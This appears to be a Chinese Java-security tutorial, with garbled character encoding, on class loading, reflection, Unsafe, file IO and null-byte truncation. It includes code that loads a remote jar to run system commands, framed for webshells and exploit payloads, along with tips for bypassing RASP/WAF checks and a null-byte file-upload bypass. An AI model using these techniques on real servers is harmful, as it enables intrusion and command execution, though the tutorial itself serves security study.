Java安全(一) : java类 | 反射
給個(gè)關(guān)注?寶兒!
給個(gè)關(guān)注?寶兒!
給個(gè)關(guān)注?寶兒!
關(guān)注公眾號(hào):b1gpig信息安全,文章推送不錯(cuò)過(guò)
1.java基礎(chǔ)
Java平臺(tái)共分為三個(gè)主要版本Java SE(Java Platform, Standard Edition,Java平臺(tái)標(biāo)準(zhǔn)版)、Java EE(Java Platform Enterprise Edition,Java平臺(tái)企業(yè)版)、和Java ME(Java Platform, Micro Edition,Java平臺(tái)微型版)。
2. java類
2.1Classloader 類加載機(jī)制
Java是一個(gè)依賴于JVM(Java虛擬機(jī))實(shí)現(xiàn)的跨平臺(tái)的開(kāi)發(fā)語(yǔ)言。Java程序在運(yùn)行前需要先編譯成class文件,Java類初始化的時(shí)候會(huì)調(diào)用java.lang.ClassLoader加載類字節(jié)碼,ClassLoader會(huì)調(diào)用JVM的native方法(defineClass0/1/2)來(lái)定義一個(gè)java.lang.Class實(shí)例。
2.2.java類
Java是編譯型語(yǔ)言,我們編寫的java文件需要編譯成后class文件后才能夠被JVM運(yùn)行,學(xué)習(xí)ClassLoader之前我們先簡(jiǎn)單了解下Java類。
示例TestHelloWorld.java:
示例TestHelloWorld.java:
package com;/** * Creator: yz * Date: 2019/12/17 */ public class TestHelloWorld {public void hello() { System.out.println("Hello, World!");}}編譯TestHelloWorld.java:javac TestHelloWorld.java
我們可以通過(guò)JDK自帶的javap命令反匯編TestHelloWorld.class文件對(duì)應(yīng)的com.anbai.sec.classloader.TestHelloWorld類,以及使用Linux自帶的hexdump命令查看TestHelloWorld.class文件二進(jìn)制內(nèi)容:
JVM在執(zhí)行TestHelloWorld之前會(huì)先解析class二進(jìn)制內(nèi)容,JVM執(zhí)行的其實(shí)就是如上javap命令生成的字節(jié)碼(ByteCode)。
2.3. ClassLoader
一切的Java類都必須經(jīng)過(guò)JVM加載后才能運(yùn)行,而ClassLoader的主要作用就是Java類文件的加載。在JVM類加載器中最頂層的是Bootstrap ClassLoader(引導(dǎo)類加載器)、Extension ClassLoader(擴(kuò)展類加載器)、App ClassLoader(系統(tǒng)類加載器),AppClassLoader是默認(rèn)的類加載器,如果類加載時(shí)我們不指定類加載器的情況下,默認(rèn)會(huì)使用AppClassLoader加載類,ClassLoader.getSystemClassLoader()返回的系統(tǒng)類加載器也是AppClassLoader。
值得注意的是某些時(shí)候我們獲取一個(gè)類的類加載器時(shí)候可能會(huì)返回一個(gè)null值,如:java.io.File.class.getClassLoader()將返回一個(gè)null對(duì)象,因?yàn)閖ava.io.File類在JVM初始化的時(shí)候會(huì)被Bootstrap ClassLoader(引導(dǎo)類加載器)加載(該類加載器實(shí)現(xiàn)于JVM層,采用C++編寫),我們?cè)趪L試獲取被Bootstrap ClassLoader類加載器所加載的類的ClassLoader時(shí)候都會(huì)返回null。
ClassLoader類有如下核心方法:
1.
loadClass(加載指定的Java類)
2.
findClass(查找指定的Java類)
3.
findLoadedClass(查找JVM已經(jīng)加載過(guò)的類)
4.
defineClass(定義一個(gè)Java類)
5.
resolveClass(鏈接指定的Java類)
2.4 Java類動(dòng)態(tài)加載方式
Java類加載方式分為顯式和隱式,顯式即我們通常使用Java反射或者ClassLoader來(lái)動(dòng)態(tài)加載一個(gè)類對(duì)象,而隱式指的是類名.方法名()或new類實(shí)例。顯式類加載方式也可以理解為類動(dòng)態(tài)加載,我們可以自定義類加載器去加載任意的類。
常用的類動(dòng)態(tài)加載
Class.forName(“類名”)默認(rèn)會(huì)初始化被加載類的靜態(tài)屬性和方法,如果不希望初始化類可以使用
Class.forName(“類名”, 是否初始化類, 類加載器),而ClassLoader.loadClass默認(rèn)不會(huì)初始化類方法
2.5. ClassLoader類加載流程
理解Java類加載機(jī)制并非易事,這里我們以一個(gè)Java的HelloWorld來(lái)學(xué)習(xí)ClassLoader。
ClassLoader加載com.anbai.sec.classloader.TestHelloWorld類重要流程如下:
1.
ClassLoader會(huì)調(diào)用public Class<?> loadClass(String name)方法加載com.anbai.sec.classloader.TestHelloWorld類。
2.
調(diào)用findLoadedClass方法檢查TestHelloWorld類是否已經(jīng)初始化,如果JVM已初始化過(guò)該類則直接返回類對(duì)象。
3.
如果創(chuàng)建當(dāng)前ClassLoader時(shí)傳入了父類加載器(new ClassLoader(父類加載器))就使用父類加載器加載TestHelloWorld類,否則使用JVM的Bootstrap ClassLoader加載。
4.
如果上一步無(wú)法加載TestHelloWorld類,那么調(diào)用自身的findClass方法嘗試加載TestHelloWorld類。
5.
如果當(dāng)前的ClassLoader沒(méi)有重寫了findClass方法,那么直接返回類加載失敗異常。如果當(dāng)前類重寫了findClass方法并通過(guò)傳入的com.anbai.sec.classloader.TestHelloWorld類名找到了對(duì)應(yīng)的類字節(jié)碼,那么應(yīng)該調(diào)用defineClass方法去JVM中注冊(cè)該類。
6.
如果調(diào)用loadClass的時(shí)候傳入的resolve參數(shù)為true,那么還需要調(diào)用resolveClass方法鏈接類,默認(rèn)為false。
7.
返回一個(gè)被JVM加載后的java.lang.Class類對(duì)象。
2.6 自定義ClassLoader
java.lang.ClassLoader是所有的類加載器的父類,
java.lang.ClassLoader有非常多的子類加載器,比如我們用于加載jar包的
java.net.URLClassLoader其本身通過(guò)繼承java.lang.ClassLoader類,重寫了findClass方法從而實(shí)現(xiàn)了加載目錄class文件甚至是遠(yuǎn)程資源文件。
既然已知ClassLoader具備了加載類的能力,那么我們不妨嘗試下寫一個(gè)自己的類加載器來(lái)實(shí)現(xiàn)加載自定義的字節(jié)碼(這里以加載TestHelloWorld類為例)并調(diào)用hello方法。
如果com.anbai.sec.classloader.TestHelloWorld類存在的情況下,我們可以使用如下代碼即可實(shí)現(xiàn)調(diào)用hello方法并輸出
但是如果com.anbai.sec.classloader.TestHelloWorld根本就不存在于我們的classpath,那么我們可以使用自定義類加載器重寫findClass方法,然后在調(diào)用defineClass方法的時(shí)候傳入TestHelloWorld類的字節(jié)碼的方式來(lái)向JVM中定義一個(gè)TestHelloWorld類,最后通過(guò)反射機(jī)制就可以調(diào)用TestHelloWorld類的hello方法了。
TestClassLoader示例代碼:
import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.net.URL; import java.net.URLClassLoader;/** * Creator: yz * Date: 2019/12/18 */ public class TestURLClassLoader {public static void main(String[] args) { try { // 定義遠(yuǎn)程加載的jar路徑 URL url = new URL("https://javaweb.org/tools/cmd.jar");// 創(chuàng)建URLClassLoader對(duì)象,并加載遠(yuǎn)程jar包 URLClassLoader ucl = new URLClassLoader(new URL[]{url});// 定義需要執(zhí)行的系統(tǒng)命令 String cmd = "ls";// 通過(guò)URLClassLoader加載遠(yuǎn)程jar包中的CMD類 Class cmdClass = ucl.loadClass("CMD");// 調(diào)用CMD類中的exec方法,等價(jià)于: Process process = CMD.exec("whoami"); Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);// 獲取命令執(zhí)行結(jié)果的輸入流 InputStream in = process.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int a = -1;// 讀取命令執(zhí)行結(jié)果 while ((a = in.read(b)) != -1) { baos.write(b, 0, a); }// 輸出命令執(zhí)行結(jié)果 System.out.println(baos.toString()); } catch (Exception e) { e.printStackTrace(); } }}利用自定義類加載器我們可以在webshell中實(shí)現(xiàn)加載并調(diào)用自己編譯的類對(duì)象,比如本地命令執(zhí)行漏洞調(diào)用自定義類字節(jié)碼的native方法繞過(guò)RASP檢測(cè),也可以用于加密重要的Java類字節(jié)碼(只能算弱加密了)。
2.7: URLClassLoader
URLClassLoader繼承了ClassLoader,URLClassLoader提供了加載遠(yuǎn)程資源的能力,在寫漏洞利用的payload或者webshell的時(shí)候我們可以使用這個(gè)特性來(lái)加載遠(yuǎn)程的jar來(lái)實(shí)現(xiàn)遠(yuǎn)程的類方法調(diào)用。
- TestURLClassLoader.java示例:
遠(yuǎn)程的cmd.jar中就一個(gè)CMD.class文件,對(duì)應(yīng)的編譯之前的代碼片段如下:
import java.io.IOException;/** * Creator: yz * Date: 2019/12/18 */ public class CMD {public static Process exec(String cmd) throws IOException { return Runtime.getRuntime().exec(cmd); }}程序執(zhí)行結(jié)果如下:
README.md gitbook javaweb-sec-source javaweb-sec.iml jni pom.xml3 j ava反射機(jī)制:
3.1 java反射機(jī)制
Java反射(Reflection)是Java非常重要的動(dòng)態(tài)特性,通過(guò)使用反射我們不僅可以獲取到任何類的成員方法(Methods)、成員變量(Fields)、構(gòu)造方法(Constructors)等信息,還可以動(dòng)態(tài)創(chuàng)建Java類實(shí)例、調(diào)用任意的類方法、修改任意的類成員變量值等。Java反射機(jī)制是Java語(yǔ)言的動(dòng)態(tài)性的重要體現(xiàn),也是Java的各種框架底層實(shí)現(xiàn)的靈魂。
3.2 獲取class對(duì)象:
Java反射操作的是java.lang.Class對(duì)象,所以我們需要先想辦法獲取到Class對(duì)象,通常我們有如下幾種方式獲取一個(gè)類的Class對(duì)象:
1.類名.class,如:com.anbai.sec.classloader.TestHelloWorld.class。 2. Class.forName("com.anbai.sec.classloader.TestHelloWorld")。 3. classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");獲取數(shù)組類型的Class對(duì)象需要特殊注意,需要使用Java類型的描述符方式,如下:
Class<?> doubleArray = Class.forName("[D");//相當(dāng)于double[].class Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相當(dāng)于String[][].class獲取Runtime類Class對(duì)象代碼片段:
String className = "java.lang.Runtime"; Class runtimeClass1 = Class.forName(className); Class runtimeClass2 = java.lang.Runtime.class; Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);通過(guò)以上任意一種方式就可以獲取java.lang.Runtime類的Class對(duì)象了,反射調(diào)用內(nèi)部類的時(shí)候需要使用來(lái)代替.,如com.anbai.Test類有一個(gè)叫做Hello的內(nèi)部類,那么調(diào)用的時(shí)候就應(yīng)該將類名寫成:com.anbai.Test來(lái)代替.,如com.anbai.Test類有一個(gè)叫做Hello的內(nèi)部類,那么調(diào)用的時(shí)候就應(yīng)該將類名寫成:com.anbai.Test來(lái)代替.,如com.anbai.Test類有一個(gè)叫做Hello的內(nèi)部類,那么調(diào)用的時(shí)候就應(yīng)該將類名寫成:com.anbai.TestHello。
3.2 反射java.lang.Runtime
java.lang.Runtime 因?yàn)橛幸粋€(gè)exec方法可以執(zhí)行本地命令,所以在很多payload都可以看到反射調(diào)用Runtime嘞來(lái)執(zhí)行本地系統(tǒng)命令,學(xué)習(xí)如何反射Runtime類可以讓我理解反射的一些基本用法
不實(shí)用反射執(zhí)行本地命令的代碼片段:
// 輸出命令執(zhí)行結(jié)果 System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(),"UTF-8"));可以看到使用一行代碼完成本地嗎執(zhí)行操作,如果是使用反射就比較麻煩了,我們不得不需要間接性的調(diào)用Runtime的exec方法
反射Runtime執(zhí)行本地命令代碼片段:
// 獲取Runtime類對(duì)象Class runtimeClass1 = Class.forName("java.lang.Runtime");// 獲取構(gòu)造方法Constructor constructor = runtimeClass1.getDeclaredConstructor(); constructor.setAccessible(true);// 創(chuàng)建Runtime類示例,等價(jià)于 Runtime rt = new Runtime();Object runtimeInstance = constructor.newInstance();// 獲取Runtime的exec(String cmd)方法Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);// 調(diào)用exec方法,等價(jià)于 rt.exec(cmd);Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);// 獲取命令執(zhí)行結(jié)果InputStream in = process.getInputStream();// 輸出命令執(zhí)行結(jié)果System.out.println(IOUtils.toString(in, "UTF-8"));反射調(diào)用Runtime實(shí)現(xiàn)本地命令執(zhí)行的流程如下:
1.
反射獲取Runtime類對(duì)象(Class.forName(“java.lang.Runtime”))。
2.
使用Runtime類的Class對(duì)象獲取Runtime類的無(wú)參數(shù)構(gòu)造方法(getDeclaredConstructor()),因?yàn)镽untime的構(gòu)造方法是private的我們無(wú)法直接調(diào)用,所以我們需要通過(guò)反射去修改方法的訪問(wèn)權(quán)限(constructor.setAccessible(true))。
3.
獲取Runtime類的exec(String)方法(runtimeClass1.getMethod(“exec”, String.class)😉。
4.
調(diào)用exec(String)方法(runtimeMethod.invoke(runtimeInstance, cmd))。
上面的代碼每一步都寫了非常清晰的注釋,接下來(lái)我們將進(jìn)一步深入的了解下每一步具體含義。
反射創(chuàng)建類實(shí)例
在Java的任何一個(gè)類都必須有一個(gè)或多個(gè)構(gòu)造方法,如果代碼中沒(méi)有創(chuàng)建構(gòu)造方法那么在類編譯的時(shí)候會(huì)自動(dòng)創(chuàng)建一個(gè)無(wú)參數(shù)的構(gòu)造方法。
從上面的Runtime類代碼注釋我們看到它本身是不希望除了其自身的任何人去創(chuàng)建該類實(shí)例的,因?yàn)檫@是一個(gè)私有的類構(gòu)造方法,所以我們沒(méi)辦法new一個(gè)Runtime類實(shí)例即不能使用Runtime rt = new Runtime();的方式創(chuàng)建Runtime對(duì)象,但示例中我們借助了反射機(jī)制,修改了方法訪問(wèn)權(quán)限從而間接的創(chuàng)建出了Runtime對(duì)象。
runtimeClass1.getDeclaredConstructor和runtimeClass1.getConstructor都可以獲取到類構(gòu)造方法,區(qū)別在于后者無(wú)法獲取到私有方法,所以一般在獲取某個(gè)類的構(gòu)造方法時(shí)候我們會(huì)使用前者去獲取構(gòu)造方法。如果構(gòu)造方法有一個(gè)或多個(gè)參數(shù)的情況下我們應(yīng)該在獲取構(gòu)造方法時(shí)候傳入對(duì)應(yīng)的參數(shù)類型數(shù)組,如:clazz.getDeclaredConstructor(String.class, String.class)。
如果我們想獲取類的所有構(gòu)造方法可以使用:clazz.getDeclaredConstructors來(lái)獲取一個(gè)Constructor數(shù)組。
獲取到Constructor以后我們可以通過(guò)constructor.newInstance()來(lái)創(chuàng)建類實(shí)例,同理如果有參數(shù)的情況下我們應(yīng)該傳入對(duì)應(yīng)的參數(shù)值,如:constructor.newInstance(“admin”, “123456”)。當(dāng)我們沒(méi)有訪問(wèn)構(gòu)造方法權(quán)限時(shí)我們應(yīng)該調(diào)用constructor.setAccessible(true)修改訪問(wèn)權(quán)限就可以成功的創(chuàng)建出類實(shí)例了。
4. sun.misc.Unsafe
4.1 sun.misc.Unsafe
sun.misc.Unsafe是Java底層API(僅限Java內(nèi)部使用,反射可調(diào)用)提供的一個(gè)神奇的Java類,Unsafe提供了非常底層的內(nèi)存、CAS、線程調(diào)度、類、對(duì)象等操作、Unsafe正如它的名字一樣它提供的幾乎所有的方法都是不安全的,本節(jié)只講解如何使用Unsafe定義Java類、創(chuàng)建類實(shí)例。
4.2 獲取Unsafe對(duì)象
Unsafe是Java內(nèi)部API,外部是禁止調(diào)用的,在編譯Java類時(shí)如果檢測(cè)到引用了Unsafe類也會(huì)有禁止使用的警告:Unsafe是內(nèi)部專用 API, 可能會(huì)在未來(lái)發(fā)行版中刪除。
sun.misc.Unsafe代碼片段:
由上代碼片段可以看到,Unsafe類是一個(gè)不能被繼承的類且不能直接通過(guò)new的方式創(chuàng)建Unsafe類實(shí)例,如果通過(guò)getUnsafe方法獲取Unsafe實(shí)例還會(huì)檢查類加載器,默認(rèn)只允許Bootstrap Classloader調(diào)用。
既然無(wú)法直接通過(guò)Unsafe.getUnsafe()的方式調(diào)用,那么可以使用反射的方式去獲取Unsafe類實(shí)例。
- 反射獲取Unsafe類實(shí)例代碼片段:
當(dāng)然我們也可以用反射創(chuàng)建Unsafe類實(shí)例的方式去獲取Unsafe對(duì)象:
// 獲取Unsafe無(wú)參構(gòu)造方法 Constructor constructor = Unsafe.class.getDeclaredConstructor();// 修改構(gòu)造方法訪問(wèn)權(quán)限 constructor.setAccessible(true);// 反射創(chuàng)建Unsafe類實(shí)例,等價(jià)于 Unsafe unsafe1 = new Unsafe(); Unsafe unsafe1 = (Unsafe) constructor.newInstance();
4.3 allocateInstance無(wú)視構(gòu)造方法創(chuàng)建類實(shí)例
假設(shè)我們有一個(gè)叫com.anbai.sec.unsafe.UnSafeTest的類,因?yàn)槟撤N原因我們不能直接通過(guò)反射的方式去創(chuàng)建UnSafeTest類實(shí)例,那么這個(gè)時(shí)候使用Unsafe的allocateInstance方法就可以繞過(guò)這個(gè)限制了。
- UnSafeTest代碼片段:
}
使用Unsafe創(chuàng)建UnSafeTest對(duì)象:
// 使用Unsafe創(chuàng)建UnSafeTest類實(shí)例 UnSafeTest test = (UnSafeTest) unsafe1.allocateInstance(UnSafeTest.class);Google的GSON庫(kù)在JSON反序列化的時(shí)候就使用這個(gè)方式來(lái)創(chuàng)建類實(shí)例,在滲透測(cè)試中也會(huì)經(jīng)常遇到這樣的限制,比如RASP限制了java.io.FileInputStream類的構(gòu)造方法導(dǎo)致我們無(wú)法讀文件或者限制了UNIXProcess/ProcessImpl類的構(gòu)造方法導(dǎo)致我們無(wú)法執(zhí)行本地命令等。
4.4 defineClass直接調(diào)用JVM創(chuàng)建類對(duì)象
ClassLoader章節(jié)我們講了通過(guò)ClassLoader類的defineClass0/1/2方法我們可以直接向JVM中注冊(cè)一個(gè)類,如果ClassLoader被限制的情況下我們還可以使用Unsafe的defineClass方法來(lái)實(shí)現(xiàn)同樣的功能。
Unsafe提供了一個(gè)通過(guò)傳入類名、類字節(jié)碼的方式就可以定義類的defineClass方法:
public native Class defineClass(String var1, byte[] var2, int var3, int var4);
public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6);
- 使用Unsafe創(chuàng)建TestHelloWorld對(duì)象:
- 或調(diào)用需要傳入類加載器和保護(hù)域的方法:
Unsafe 還可以通過(guò) defineAnonymousClass 方法創(chuàng)建內(nèi)部類,此處不再多做測(cè)試
注意:
這個(gè)實(shí)例僅適用于 java 8 以前的版本,在java 8 中應(yīng)該使用調(diào)用需要傳類加載器和保護(hù)域的那個(gè)方法。 java 11 開(kāi)始 Unsafe 已經(jīng)把defineClass 方法移除了 (defineAnonmousClass方法還在), 雖然可以使用java.lang.invoke.MethodHandles.Loosup.defineClass 代替,但是 MethodHandles 只是間接調(diào)用了 ClassLoader 的 defineClass。 所以一切都回到了ClassLoader
5.java文件系統(tǒng)
眾所周知Java是一個(gè)跨平臺(tái)的語(yǔ)言,不同的操作系統(tǒng)有著完全不一樣的文件系統(tǒng)和特性。JDK會(huì)根據(jù)不同的操作系統(tǒng)(AIX,Linux,MacOSX,Solaris,Unix,Windows)編譯成不同的版本。
在Java語(yǔ)言中對(duì)文件的任何操作最終都是通過(guò)JNI調(diào)用C語(yǔ)言函數(shù)實(shí)現(xiàn)的。Java為了能夠?qū)崿F(xiàn)跨操作系統(tǒng)對(duì)文件進(jìn)行操作抽象了一個(gè)叫做FileSystem的對(duì)象出來(lái),不同的操作系統(tǒng)只需要實(shí)現(xiàn)起抽象出來(lái)的文件操作方法即可實(shí)現(xiàn)跨平臺(tái)的文件操作了。
6.java FileSystem
6.1 Java FileSystem
Java SE 中內(nèi)置了兩類文件系統(tǒng): java.io 和 java.nio, java.nio 實(shí)現(xiàn)的是 sun.nio , 文件系統(tǒng)底層的API實(shí)現(xiàn):
6.2 Java.IO 文件系統(tǒng)
Java抽象出了一個(gè)叫做文件系統(tǒng)的對(duì)象:java.io.FileSystem,不同的操作系統(tǒng)有不一樣的文件系統(tǒng),例如Windows和Unix就是兩種不一樣的文件系統(tǒng): java.io.UnixFileSystem、java.io.WinNTFileSystem。
java.io.FileSystem是一個(gè)抽象類,它抽象了對(duì)文件的操作,不同操作系統(tǒng)版本的JDK會(huì)實(shí)現(xiàn)其抽象的方法從而也就實(shí)現(xiàn)了跨平臺(tái)的文件的訪問(wèn)操作。
示例中的java.io.UnixFileSystem最終會(huì)通過(guò)JNI調(diào)用native方法來(lái)實(shí)現(xiàn)對(duì)文件的操作:
由此我們可以得出Java只不過(guò)是實(shí)現(xiàn)了對(duì)文件操作的封裝而已,最終讀寫文件的實(shí)現(xiàn)都是通過(guò)調(diào)用native方法實(shí)現(xiàn)的。
不過(guò)需要特別注意一下幾點(diǎn):
1.并不是所有的文件操作都在java.io.FileSystem中定義,文件的讀取最終調(diào)用的是
java.io.FileInputStream#read0、readBytes、
java.io.RandomAccessFile#read0、readBytes,
而寫文件調(diào)用的是java.io.FileOutputStream#writeBytes、java.io.RandomAccessFile#write0。
2.Java有兩類文件系統(tǒng)API!一個(gè)是基于阻塞模式的IO的文件系統(tǒng),另一是JDK7+基于NIO.2的文件系統(tǒng)。
6.3 java NIO.2文件系統(tǒng)
Java 7提出了一個(gè)基于NIO的文件系統(tǒng),這個(gè)NIO文件系統(tǒng)和阻塞IO文件系統(tǒng)兩者是完全獨(dú)立的。java.nio.file.spi.FileSystemProvider對(duì)文件的封裝和java.io.FileSystem同理。
NIO的文件操作在不同的系統(tǒng)的最終實(shí)現(xiàn)類也是不一樣的,比如Mac的實(shí)現(xiàn)類是: sun.nio.fs.UnixNativeDispatcher,
而Windows的實(shí)現(xiàn)類是sun.nio.fs.WindowsNativeDispatcher。
合理的利用NIO文件系統(tǒng)這一特性我們可以繞過(guò)某些只是防御了java.io.FileSystem的WAF/RASP。
7.Java IO/NIO多種讀寫文件方式
7.1
上一章節(jié)我們提到了Java 對(duì)文件的讀寫分為了基于阻塞模式的IO和非阻塞模式的NIO,本章節(jié)我將列舉一些我們常用于讀寫文件的方式。
我們通常讀寫文件都是使用的阻塞模式,與之對(duì)應(yīng)的也就是java.io.FileSystem。java.io.FileInputStream類提供了對(duì)文件的讀取功能,Java的其他讀取文件的方法基本上都是封裝了java.io.FileInputStream類,比如:java.io.FileReader。
7.2 FileInputStream
使用FileInputStream實(shí)現(xiàn)文件讀取Demo:
package com.anbai.sec.filesystem;import java.io.*;/** * * */ public class FileInputStreamDemo {public static void main(String[] args) throws IOException { File file = new File("D:\\test/test.txt");// 打開(kāi)文件對(duì)象并創(chuàng)建文件輸入流 FileInputStream fis = new FileInputStream(file);// 定義每次輸入流讀取到的字節(jié)數(shù)對(duì)象 int a = 0;// 定義緩沖區(qū)大小 byte[] bytes = new byte[1024];// 創(chuàng)建二進(jìn)制輸出流對(duì)象 ByteArrayOutputStream out = new ByteArrayOutputStream();// 循環(huán)讀取文件內(nèi)容 while ((a = fis.read(bytes)) != -1) { // 截取緩沖區(qū)數(shù)組中的內(nèi)容,(bytes, 0, a)其中的0表示從bytes數(shù)組的 // 下標(biāo)0開(kāi)始截取,a表示輸入流read到的字節(jié)數(shù)。 out.write(bytes, 0, a); }System.out.println(out.toString()); }}輸出結(jié)果如下:
調(diào)用鏈如下:
其中的readBytes是native方法,文件的打開(kāi)、關(guān)閉等方法也都是native方法:
naticve方法: 一個(gè)Native Method就是一個(gè)java調(diào)用非java代碼的接口。一個(gè)Native Method是這樣一個(gè)java的方法:該方法的實(shí)現(xiàn)由非java語(yǔ)言實(shí)現(xiàn),比如C
- java.io.FileInputStream類對(duì)應(yīng)的native實(shí)現(xiàn)如下:
完整代碼參考OpenJDK:openjdk/src/java.base/share/native/libjava/FileInputStream.c
7.3 FileOutputStream
- 使用FileOutputStream實(shí)現(xiàn)寫文件Demo:
代碼邏輯比較簡(jiǎn)單: 打開(kāi)文件->寫內(nèi)容->關(guān)閉文件,調(diào)用鏈和底層實(shí)現(xiàn)分析請(qǐng)參考FileInputStream。
7.4 RandomAccessFile
Java提供了一個(gè)非常有趣的讀取文件內(nèi)容的類: java.io.RandomAccessFile,這個(gè)類名字面意思是任意文件內(nèi)容訪問(wèn),特別之處是這個(gè)類不僅可以像java.io.FileInputStream一樣讀取文件,而且還可以寫文件。
RandomAccessFile讀取文件測(cè)試代碼:
任意文件讀取特性體現(xiàn)在如下方法:
// 獲取文件描述符 public final FileDescriptor getFD() throws IOException// 獲取文件指針 public native long getFilePointer() throws IOException;// 設(shè)置文件偏移量 private native void seek0(long pos) throws IOException;java.io.RandomAccessFile類中提供了幾十個(gè)readXXX方法用以讀取文件系統(tǒng),最終都會(huì)調(diào)用到read0或者readBytes方法,我們只需要掌握如何利用RandomAccessFile讀/寫文件就行了。
- RandomAccessFile寫文件測(cè)試代碼:
7.5 FileSystemProvider
前面章節(jié)提到了JDK7新增的NIO.2的java.nio.file.spi.FileSystemProvider,利用FileSystemProvider我們可以利用支持異步的通道(Channel)模式讀取文件內(nèi)容。
- FileSystemProvider讀取文件內(nèi)容示例:
java.nio.file.Files是JDK7開(kāi)始提供的一個(gè)對(duì)文件讀寫取非常便捷的API,其底層實(shí)在是調(diào)用了java.nio.file.spi.FileSystemProvider來(lái)實(shí)現(xiàn)對(duì)文件的讀寫的。最為底層的實(shí)現(xiàn)類是sun.nio.ch.FileDispatcherImpl#read0。
基于NIO的文件讀取邏輯是:
- 打開(kāi)FileChannel->讀取Channel內(nèi)容。
文件讀取的調(diào)用鏈為:
sun.nio.ch.FileChannelImpl.read(FileChannelImpl.java:147) sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:65) sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:109) sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:103) java.nio.file.Files.read(Files.java:3105) java.nio.file.Files.readAllBytes(Files.java:3158) com.anbai.sec.filesystem.FilesDemo.main(FilesDemo.java:23)- FileSystemProvider寫文件示例:
7.6 文件讀寫總結(jié):
Java內(nèi)置的文件讀取方式大概就是這三種方式,其他的文件讀取API可以說(shuō)都是對(duì)這幾種方式的封裝而已(依賴數(shù)據(jù)庫(kù)、命令執(zhí)行、自寫JNI接口不算,本人個(gè)人理解,如有其他途徑還請(qǐng)告知)。本章我們通過(guò)深入基于IO和NIO的Java文件系統(tǒng)底層API,希望大家能夠通過(guò)以上Demo深入了解到文件讀寫的原理和本質(zhì)。
8 Java文件名空字節(jié)截?cái)嗦┒?/h1>
8.1 Java文件名空字節(jié)截?cái)嗦┒?/h3>
空字節(jié)截?cái)嗦┒绰┒丛谥T多編程語(yǔ)言中都存在,究其根本是Java在調(diào)用文件系統(tǒng)(C實(shí)現(xiàn))讀寫文件時(shí)導(dǎo)致的漏洞,并不是Java本身的安全問(wèn)題。不過(guò)好在高版本的JDK在處理文件時(shí)已經(jīng)把空字節(jié)文件名進(jìn)行了安全檢測(cè)處理。
8.2 文件名空字節(jié)漏洞歷史
2013年9月10日發(fā)布的Java SE 7 Update 40修復(fù)了空字節(jié)截?cái)噙@個(gè)歷史遺留問(wèn)題。此次更新在java.io.File類中添加了一個(gè)isInvalid方法,專門檢測(cè)文件名中是否包含了空字節(jié)
/** * Check if the file has an invalid path. Currently, the inspection of * a file path is very limited, and it only covers Nul character check. * Returning true means the path is definitely invalid/garbage. But * returning false does not guarantee that the path is valid. * * @return true if the file path is invalid. */ final boolean isInvalid() {if (status == null) {status = (this.path.indexOf('\u0000') < 0) ? PathStatus.CHECKED: PathStatus.INVALID;}return status == PathStatus.INVALID; }修復(fù)的JDK版本所有跟文件名相關(guān)的操作都調(diào)用了isInvalid方法檢測(cè),防止文件名空字節(jié)截?cái)唷?/p>
修復(fù)前(Java SE 7 Update 25)和修復(fù)后(Java SE 7 Update 40)的對(duì)比會(huì)發(fā)現(xiàn)Java SE 7 Update 25中的java.io.File類中并未添加\u0000的檢測(cè)。
受空字節(jié)截?cái)嘤绊懙腏DK版本范圍:JDK<1.7.40,單是JDK7于2011年07月28日發(fā)布至2013年09月10日發(fā)表Java SE 7 Update 40這兩年多期間受影響的就有16個(gè)版本,值得注意的是JDK1.6雖然JDK7修復(fù)之后發(fā)布了數(shù)十個(gè)版本,但是并沒(méi)有任何一個(gè)版本修復(fù)過(guò)這個(gè)問(wèn)題,而JDK8發(fā)布時(shí)間在JDK7修復(fù)以后所以并不受此漏洞影響。
參考:
https://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846
https://zh.wikipedia.org/wiki/Java版本歷史
https://www.oracle.com/technetwork/java/javase/archive-139210.html
8.3 Java文件名空截?cái)鄿y(cè)試
測(cè)試類FileNullBytes.java:
package com.anbai.sec.filesystem;import java.io.File; import java.io.FileOutputStream; import java.io.IOException;/** * @author yz */ public class FileNullBytes {public static void main(String[] args) { try { String fileName = "D://test/test.txt\u0000.jpg"; FileOutputStream fos = new FileOutputStream(new File(fileName)); fos.write("Test".getBytes()); fos.flush(); fos.close(); } catch (IOException e) { e.printStackTrace(); } }}使用JDK1.7.0.25測(cè)試成功截?cái)辔募?#xff1a;
使用JDK1.7.0.80測(cè)試寫文件截?cái)鄷r(shí)拋出java.io.FileNotFoundException: Invalid file path異常:
8.4 空字節(jié)截?cái)嗬脠?chǎng)景
Java空字節(jié)截?cái)嗬脠?chǎng)景最常見(jiàn)的利用場(chǎng)景就是文件上傳時(shí)后端獲取文件名后使用了endWith、正則使用如:.(jpg|png|gif)$驗(yàn)證文件名后綴合法性且文件名最終原樣保存,同理文件刪除(delete)、獲取文件路徑(getCanonicalPath)、創(chuàng)建文件(createNewFile)、文件重命名(renameTo)等方法也可適用。
8.5 空字節(jié)截?cái)嘈迯?fù)方案
最簡(jiǎn)單直接的方式就是升級(jí)JDK,如果擔(dān)心升級(jí)JDK出現(xiàn)兼容性問(wèn)題可在文件操作時(shí)檢測(cè)下文件名中是否包含空字節(jié),如JDK的修復(fù)方式:fileName.indexOf(’\u0000’)即可。
9 Java本地命令執(zhí)行
9.1 Java本地命令執(zhí)行
Java原生提供了對(duì)本地系統(tǒng)命令執(zhí)行的支持,黑客通常會(huì)RCE利用漏洞或者WebShell來(lái)執(zhí)行系統(tǒng)終端命令控制服務(wù)器的目的。
對(duì)于開(kāi)發(fā)者來(lái)說(shuō)執(zhí)行本地命令來(lái)實(shí)現(xiàn)某些程序功能(如:ps 進(jìn)程管理、top內(nèi)存管理等)是一個(gè)正常的需求,而對(duì)于黑客來(lái)說(shuō)本地命令執(zhí)行是一種非常有利的入侵手段。
